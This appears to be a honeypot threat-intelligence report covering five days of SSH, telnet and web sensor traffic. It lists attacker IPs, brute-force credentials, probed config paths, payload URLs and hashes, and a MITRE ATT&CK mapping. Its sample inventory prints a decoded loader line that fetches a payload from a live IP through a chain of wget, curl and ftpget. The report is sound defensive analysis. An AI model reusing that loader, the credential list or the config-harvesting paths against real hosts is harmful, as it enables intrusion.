slatterysec.com/reports/2026/09/2026-09-10_2026-09-14-honeypot-report.html
sensors 8 up last session 4m ago 24h captures 312 unique src 87

slattery@sec:~/reports$ cat 2026-09-10_2026-09-14-honeypot-report.md

HONEYPOT REPORT  //  2026-09-10 – 2026-09-14

2026-09-10 – 2026-09-14 — SSH, Telnet + Web Honeypot Report

period   2026-09-10 – 2026-09-14
sensors   Cowrie SSH/telnet + web deception panel
host   VPS · containerized
SSH TELNET WEB EVEN SPLIT CDN FRONTED
SSH + TELNET SESSIONS
73,422
5 days
UNIQUE SOURCES
1,601
shell sensor
AUTH ATTEMPTS
65,285
2,870 succeeded
PAYLOAD RETRIEVALS
165
3 uploads
WEB REQUESTS
26,207
766 unique IPs
NEW TOKEN CONSUMERS
304
not seen before

SSH and telnet volume by day

12,735
09-10
14,131
09-11
17,680
09-12
14,849
09-13
14,027
09-14

Executive summary

The highest-volume period of the span at 73,422 sessions, and the distribution is the interesting part. The top four sources — 217.60.255.130, 103.60.204.198, 103.195.81.146, 103.82.210.181 — opened 6,316, 6,232, 6,136 and 5,370 sessions respectively. Four unrelated netblocks across two continents, within 15% of each other.

That is the same quota-scheduler signature observed since July, at a larger per-worker allocation. The July figure was 773 sessions per host; the August figure was 785; this period runs above 5,000. The pattern held while the value grew roughly sevenfold.

Decoy retrieval is now led by Cloudflare addresses — 104.28.222.16, 104.28.222.47 and neighbours accounting for 492 of 1,099 retrievals. A scanner egressing through a CDN to obscure its origin, the same technique observed against the WordPress installer path in early August, now applied to config harvesting.

The probed path list changed too. Alongside the familiar .env variants sit /.env.staging, /.env.php and /wp-config.php.bak — and /aZ9xQ7kL3m, a random string requested 162 times. That last one is a control probe: a path that cannot exist, used to see whether the server returns 404 honestly or answers everything. A honeypot that served content for it would be identified immediately.

The recurring Tor-exit public key d4:98:c4:f3… was last offered on September 17, from 152.53.157.69. It has now appeared from ten distinct exit nodes since July — nearly three months of someone periodically checking whether that key opens this host.

Notable sessions

2026-09-10 → 09-14 QUOTA SCHEDULER 4 netblocks
Four unrelated sources splitting the brute-force load within 15% of each other.
217.60.255.130: 6,316 sessions
103.60.204.198: 6,232 sessions
103.195.81.146: 6,136 sessions
103.82.210.181: 5,370 sessions
history: the same even-split pattern has run since July at 773, then 785, now >5,000 per worker
assessment: one scheduler, growing per-worker allocation, unchanged design
2026-09-10 → 09-14 CDN FRONTING 104.28.222.0/24
Config-file harvesting routed through Cloudflare addresses rather than direct.
retrievals: 492 of 1,099 from 104.28.222.x and 104.28.254.x
technique: the same CDN egress observed against /wp-admin/install.php in early August
effect: the true source is not visible; only the CDN edge is recorded
2026-09-10 → 09-14 HONEYPOT CHECK distributed
A random nonexistent path requested 162 times — a control probe for servers that answer everything.
path: /aZ9xQ7kL3m
requests: 162
purpose: a host that serves content for an impossible path is a honeypot or a catch-all
result: the sensor returned 404, as it should
2026-09-17 LONG-RUNNING KEY 152.53.157.69
The public key first recorded in July offered again, from a tenth distinct Tor exit.
fingerprint: d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef
exits used: 10 distinct since July, including 185.220.101.x and 192.42.116.x ranges
behaviour: offer key as root, fail, fall back to password, run nothing, disconnect
span: first seen 2026-07-27, last seen 2026-09-17 — just under three months

Sample inventory

159 unique payload samples were captured across the full Aug 21 – Sep 18 archive, and none of them had been seen on this sensor before. The architecture spread is unchanged — x86-64 dominant, with ARM, MIPS both-endian, and a RISC-V build present — but the binaries themselves turn over completely.

One loader is worth noting for its obfuscation. A 608-byte file contains nothing but hex escapes; decoded, it is a single line:

S=185.106.92.100; (wget http://$S/p -O-||curl http://$S/p||ftpget $S - p||
 busybox wget http://$S/p -O-||busybox curl http://$S/p||busybox ftpget $S - p)

Six retrieval methods chained with || so that any one succeeding stops the chain. The hex encoding defeats naive string matching on the C2 address while adding nothing to execution cost.

Indicators

Busiest shell sources

sourcesessions
217.60.255.1306,316
103.60.204.1986,232
103.195.81.1466,136
103.82.210.1815,370
87.107.6.2032,828
92.204.138.1422,361
109.160.32.341,938
109.160.32.1151,938

Payload URLs

urlretrievals
hxxp://185.93.89.72/wget11
hxxp://160.119.66.206/bins/kla.sh6
hxxp://160.119.66.206/bins/net.x86_645
hxxp://5.182.210.174/ok4

Most attempted credentials

usernamepasswordattempts
enable\0linuxshell\01,708
system\0shell\01,702
supportsupport333
adminadmin300
rootadmin268
rootxc3511251
rootvizxv226
root123456193
rootroot158
enable\0system\0149

Web sensor — most probed paths

pathrequests
/fetch198
/aZ9xQ7kL3m162
/.env.staging105
/wp-config.php.bak103
/.env.php101
/.env~99
/.env.example98
/.env.dev98

Payload hashes

sha256what it is
6d1fe6ab3cd04ca5d1ab790339ee2b6577553bc042af3b7587ece0c195267c9b
virustotal →
Linux.MulDrop.14 — 2017 Raspberry Pi worm, still circulating unmodified
94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00
virustotal →
sshd — Go worm, PAM credential theft, dual miner, Discord C2

MITRE ATT&CK mapping

IDtechniqueobserved as
T1583.003Acquire Infrastructure: Virtual Private ServerFour sources within 15% of each other across two continents; scheduler allocation now >5,000 sessions per worker
T1090.004Proxy: Domain Fronting492 config retrievals routed through Cloudflare edge addresses
T1497Virtualization/Sandbox Evasion/aZ9xQ7kL3m requested 162 times as a catch-all detection probe
T1021.004Remote Services: SSHRecurring public key offered from a tenth Tor exit, spanning three months
T1027Obfuscated Files or InformationA 608-byte dropper consisting entirely of hex escapes, decoding to a six-method retrieval chain
T1105Ingress Tool Transfer165 retrievals; 159 unique samples across the archive, none previously seen